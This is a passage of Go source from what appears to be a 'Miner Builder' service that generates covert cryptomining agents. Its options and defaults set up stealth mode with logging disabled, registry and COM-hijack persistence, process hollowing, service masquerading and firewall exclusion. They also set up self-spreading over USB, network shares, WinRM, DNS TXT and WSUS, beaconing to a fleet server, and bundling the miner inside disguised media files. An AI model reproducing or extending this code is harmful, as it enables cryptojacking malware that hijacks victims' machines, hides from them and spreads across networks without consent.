// must be relative to data_dir; no drive letters, no absolute paths, no traversal
clean := filepath.Clean(req.OutputDir)
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) || strings.Contains(clean, ":") {
return fmt.Errorf("output_dir must be a relative folder under data_dir")
}
req.OutputDir = clean
}
// Cap slice lengths to prevent huge generated source files.
const maxBackupPools = 10
if len(req.BackupServerURLs) > maxBackupPools {
req.BackupServerURLs = req.BackupServerURLs[:maxBackupPools]
}
if len(req.BackupPools) > maxBackupPools {
req.BackupPools = req.BackupPools[:maxBackupPools]
}
if len(req.RVNBackupPools) > maxBackupPools {
req.RVNBackupPools = req.RVNBackupPools[:maxBackupPools]
}
if req.Threads <= 0 {
req.Threads = 4
}
if req.ThreadMode == "" {
req.ThreadMode = "percent"
}
if req.ThreadPercent <= 0 {
req.ThreadPercent = 75
}
if req.ThreadPercent > 100 {
req.ThreadPercent = 100
}
if req.DisplayMode == "" {
if req.SilentMode {
req.DisplayMode = "silent"
} else {
req.DisplayMode = "background"
}
}
if req.Persistence {
req.AutoStart = true
}
req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode))
req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence))
normalizeRegistryPersistence(req)
if req.ProcessName == "" {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
if req.MaxMemoryPct <= 0 {
req.MaxMemoryPct = 85
}
if req.CPUPriority == "" {
req.CPUPriority = "below_normal"
}
if req.MiningMode == "" {
req.MiningMode = "always"
}
if req.MinerExecution == "" {
req.MinerExecution = "inprocess"
}
if req.RunAs == "" {
req.RunAs = "user"
}
if req.RunAs == "host_binary" && strings.TrimSpace(req.HostBinaryTarget) == "" {
req.HostBinaryTarget = "ssh"
}
if req.MaxCPUUsagePct <= 0 {
req.MaxCPUUsagePct = 95
}
if req.MinFreeRAMMB <= 0 {
req.MinFreeRAMMB = 512
}
if req.IdleThresholdPct <= 0 {
req.IdleThresholdPct = 20
}
if req.IdleDurationMinutes <= 0 {
req.IdleDurationMinutes = 5
}
if req.ScheduleStart == "" {
req.ScheduleStart = "21:00"
}
if req.ScheduleEnd == "" {
req.ScheduleEnd = "06:00"
}
if req.InstallBase == "" {
req.InstallBase = "localappdata"
}
if req.InstallRelativePath == "" {
req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
}
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
return fmt.Errorf("install_custom_base is required when install_base is custom")
}
if req.StealthMode {
req.FileLogging = false
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
}
if req.PoolHost == "" {
req.PoolHost = "pool.supportxmr.com"
}
if req.PoolPort <= 0 {
req.PoolPort = 3333
}
if req.PoolPass == "" {
req.PoolPass = "x"
}
if req.ApkMode {
req.FusionEnabled = false
req.SpreadKit = false
}
if req.FusionEnabled {
if req.FusionRunOrder == "" {
req.FusionRunOrder = "parallel"
}
if req.FusionOutputName == "" || req.FusionOutputName == "prep.exe" {
if base := strings.TrimSpace(req.FusionMediaBaseName); base != "" {
req.FusionOutputName = disguisedRunnerName(base)
} else if req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
}
if req.FusionMediaMode == "" {
req.FusionMediaMode = "paired"
}
req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
}
if req.AIEnabled {
if req.AIOllamaEndpoint == "" {
req.AIOllamaEndpoint = "http://localhost:11434"
}
if req.AIModel == "" {
req.AIModel = "llama3.2"
}
}
if strings.TrimSpace(req.TargetOS) == "" {
if req.ApkMode {
req.TargetOS = "android"
} else {
req.TargetOS = "windows"
}
}
if req.SpreadKit {
req.FusionEnabled = false
req.TargetOS = "universal"
if req.RunAs == "" || req.RunAs == "user" {
req.RunAs = "scheduled"
}
req.Persistence = true
req.AutoStart = true
}
if req.LotlOnionEnabled {
ApplyLotlOnionPreset(req)
}
req.LinuxLOTLMode = normalizeLinuxLOTLMode(req.LinuxLOTLMode)
return nil
}
func normalizeLinuxLOTLMode(mode string) string {
switch strings.ToLower(strings.TrimSpace(mode)) {
case "systemd_run_user", "crontab", "both":
return strings.ToLower(strings.TrimSpace(mode))
default:
return "off"
}
}
func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
if header == nil {
return "", nil, fmt.Errorf("fusion upload is missing")
}
if header.Size > FusionMaxUploadBytes {
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
}
if header.Size < 0 {
return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file")
}
baseName := filepath.Base(header.Filename)
if baseName == "" || baseName == "." {
return "", nil, fmt.Errorf("fusion upload filename is invalid")
}
if !isFusionPayloadExt(baseName) {
return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
}
prepRoot := filepath.Join(h.dataDir, "preps")
if err := os.MkdirAll(prepRoot, 0755); err != nil {
return "", nil, fmt.Errorf("failed to create preps directory: %w", err)
}
dir, err := os.MkdirTemp(prepRoot, "upload-*")
if err != nil {
return "", nil, err
}
dest := filepath.Join(dir, sanitizeFileName(baseName))
out, err := os.Create(dest)
if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1))
out.Close()
if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
if written == 0 {
os.RemoveAll(dir)
return "", nil, fmt.Errorf("fusion upload is empty")
}
if written > FusionMaxUploadBytes {
os.RemoveAll(dir)
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
}
cleanup := func() { _ = os.RemoveAll(dir) }
return dest, cleanup, nil
}
// isFusionPayloadExt accepts any file with a non-empty extension.
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
func isFusionPayloadExt(name string) bool {
ext := strings.ToLower(filepath.Ext(name))
return ext != "" && ext != "."
}
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s
// Generated at: %s
package config
import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: %q,
ServerURL: %q,
Wallet: %q,
Threads: %d,
ThreadMode: %q,
ThreadPercent: %d,
CPUPriority: %q,
MiningMode: %q,
MinerExecution: %q,
DisplayMode: %q,
SilentMode: %v,
RunAs: %q,
HostBinaryTarget: %q,
AutoStart: %v,
AutostartMode: %q,
RegistryPersistence: %q,
RegistryRunHKCU: %v,
RegistryRunHKLM: %v,
RegistryRunOnce: %v,
RegistryExplorerRun: %v,
ProcessName: %q,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
PoolHost: %q,
PoolPort: %d,
PoolTLS: %v,
PoolPass: %q,
MaxCPUUsage: %d,
MaxMemoryPct: %d,
MinFreeRAM: %d,
IdleThresholdPct: %d,
IdleDurationMinutes: %d,
ScheduleStart: %q,
ScheduleEnd: %q,
InstallBase: %q,
InstallCustomBase: %q,
InstallRelativePath: %q,
AdaptToHardware: %v,
SelfHealing: %v,
FileLogging: %v,
StealthMode: %v,
FirewallExclusion: %v,
AIEnabled: %v,
AIOllamaEndpoint: %q,
AIModel: %q,
ProcessHollowing: %v,
MeshP2P: %v,
AutoSpread: %v,
HolePunch: %v,
RemoteAggressive: %v,
USBSpread: %v,
ShareSpread: %v,
WinRMSpread: %v,
DnsTxtSpread: %v,
WebRTCMeshSpread: %v,
WSUSCachePeerSpread: %v,
COMHijackPersist: %v,
LinuxLOTLMode: %q,
BackupServerURLs: %s,
BackupPools: %s,
ServiceMasquerade: %v,
ServiceName: %q,
ServiceDonor: %q,
FleetSecret: %q,
// GPU / Ravencoin mining
GPUEnabled: %v,
RVNWallet: %q,
RVNPoolHost: %q,
RVNPoolPort: %d,
RVNPoolTLS: %v,
RVNPoolPass: %q,
RVNBackupPools: %s,
BeaconIntervalSec: %d,
BeaconJitterPct: %d,
AgentKillAfterDays: %d,
HTTPSBeaconFallback: %v,
HTTPSBeaconAfterMin: %d,
LotlOnionEnabled: %v,
LotlPolicyFromServer: %v,
LotlOnionTiers: %s,
ApkMode: %v,
MiningDisabled: %v,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
req.WorkerName,
req.ServerURL,
req.Wallet,
req.Threads,
req.ThreadMode,
req.ThreadPercent,
req.CPUPriority,
req.MiningMode,
req.MinerExecution,
req.DisplayMode,
req.SilentMode,
req.RunAs,
req.HostBinaryTarget,
req.AutoStart,
strings.TrimSpace(req.AutostartMode),
strings.TrimSpace(req.RegistryPersistence),
req.RegistryRunHKCU,
req.RegistryRunHKLM,
req.RegistryRunOnce,
req.RegistryExplorerRun,
req.ProcessName,
buildID,
time.Now().Unix(),
req.PoolHost,
req.PoolPort,
req.PoolTLS,
req.PoolPass,
req.MaxCPUUsagePct,
req.MaxMemoryPct,
req.MinFreeRAMMB,
req.IdleThresholdPct,
req.IdleDurationMinutes,
req.ScheduleStart,
req.ScheduleEnd,
req.InstallBase,
req.InstallCustomBase,
req.InstallRelativePath,
req.AdaptToHardware,
req.SelfHealing,
req.FileLogging,
req.StealthMode,
req.FirewallExclusion,
req.AIEnabled,
req.AIOllamaEndpoint,
req.AIModel,
req.ProcessHollowing,
req.MeshP2P,
req.AutoSpread,
req.HolePunch,
req.RemoteAggressive,
req.USBSpread,
req.ShareSpread,
req.WinRMSpread,
req.DnsTxtSpread,
req.WebRTCMeshSpread,
req.WSUSCachePeerSpread,
req.COMHijackPersist,
req.LinuxLOTLMode,
formatGoStringSlice(req.BackupServerURLs),
formatGoBackupPools(req.BackupPools),
serviceMasqueradeEnabled(req),
serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req),
h.fleetSecret,
req.GPUEnabled,
req.RVNWallet,
rvnPoolHost(req),
rvnPoolPort(req),
req.RVNPoolTLS,
rvnPoolPass(req),
formatGoBackupPools(req.RVNBackupPools),
req.BeaconIntervalSec,
req.BeaconJitterPct,
req.AgentKillAfterDays,
httpsBeaconFallbackEnabled(req),
httpsBeaconAfterMin(req),
req.LotlOnionEnabled,
req.LotlPolicyFromServer,
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
req.ApkMode,
req.MiningDisabled,
)
}
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
if req.HTTPSBeaconFallback {
return true
}
for _, u := range req.BackupServerURLs {
if strings.TrimSpace(u) != "" {
return true
}
}
return false
}
func httpsBeaconAfterMin(req *BuildRequest) int {
if req.HTTPSBeaconAfterMin > 0 {
return req.HTTPSBeaconAfterMin
}
return 3
}
func rvnPoolHost(req *BuildRequest) string {
if req.RVNPoolHost == "" {
return "rvn.2miners.com"
}
return req.RVNPoolHost
}
func rvnPoolPort(req *BuildRequest) int {
if req.RVNPoolPort <= 0 {
return 6060
}
return req.RVNPoolPort
}
func rvnPoolPass(req *BuildRequest) string {
if req.RVNPoolPass == "" {
return "x"
}
return req.RVNPoolPass
}
// formatGoBackupPools emits a Go literal for []config.BackupPool.
func formatGoBackupPools(pools []BackupPool) string {
if len(pools) == 0 {
return "nil"
}
var sb strings.Builder
sb.WriteString("[]BackupPool{")
for i, p := range pools {
if i > 0 {
sb.WriteString(", ")
}
pass := p.Pass
if pass == "" {
pass = "x"
}
fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass)
}
sb.WriteString("}")
return sb.String()
}
func serviceMasqueradeEnabled(req *BuildRequest) bool {
return req.RunAs == "service" || req.ProcessHollowing
}
func serviceMasqueradeName(buildID string, req *BuildRequest) string {
if !serviceMasqueradeEnabled(req) {
return ""
}
name, _ := pickServiceMasquerade(buildID)
return name
}
func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
if !serviceMasqueradeEnabled(req) {
return ""
}
_, donor := pickServiceMasquerade(buildID)
return donor
}
func (h *Handler) copyAgentSource(destDir string) error {
srcDir := h.agentSrcDir
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
relPath, err := filepath.Rel(srcDir, path)
if err != nil {
return err
}
if relPath == "config"+string(os.PathSeparator)+"builtin.go" {
return nil
}
destPath := filepath.Join(destDir, relPath)
if info.IsDir() {
return os.MkdirAll(destPath, 0755)
}
if info.Mode()&os.ModeSymlink != 0 {
return nil
}
ext := filepath.Ext(path)
base := filepath.Base(path)
if ext != ".go" && base != "go.mod" && base != "go.sum" {
return nil
}
return copyFile(path, destPath)
})
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil {
return err
}
out, err := os.Create(dest)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
func looksLikeXMRWallet(addr string) bool {
a := strings.TrimSpace(addr)
if len(a) < 90 || len(a) > 106 {
return false
}
if a[0] != '4' {
return false
}
for i := 1; i < len(a); i++ {
c := a[i]
if (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') {
continue
}
return false
}
return true
}
func formatGoStringSlice(values []string) string {
if len(values) == 0 {
return "nil"
}
parts := make([]string, 0, len(values))
for _, v := range values {
v = strings.TrimSpace(v)
if v != "" {
parts = append(parts, fmt.Sprintf("%q", v))
}
}
if len(parts) == 0 {
return "nil"
}
return "[]string{" + strings.Join(parts, ", ") + "}"
}
func sanitizeFileName(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
return replacer.Replace(name)
}
// safePathUnderRoot resolves name under root and rejects traversal escapes.
func safePathUnderRoot(root, name string) (string, error) {
if name == "" || strings.Contains(name, "..") {
return "", fmt.Errorf("invalid path")
}
cleanName := filepath.Clean(name)
if filepath.IsAbs(cleanName) {
return "", fmt.Errorf("invalid path")
}
absRoot, err := filepath.Abs(root)
if err != nil {
return "", err
}
full := filepath.Join(absRoot, cleanName)
absFull, err := filepath.Abs(full)
if err != nil {
return "", err
}
if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) {
return "", fmt.Errorf("path escapes root")
}
return absFull, nil
}
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(status)
json.NewEncoder(w).Encode(v)
}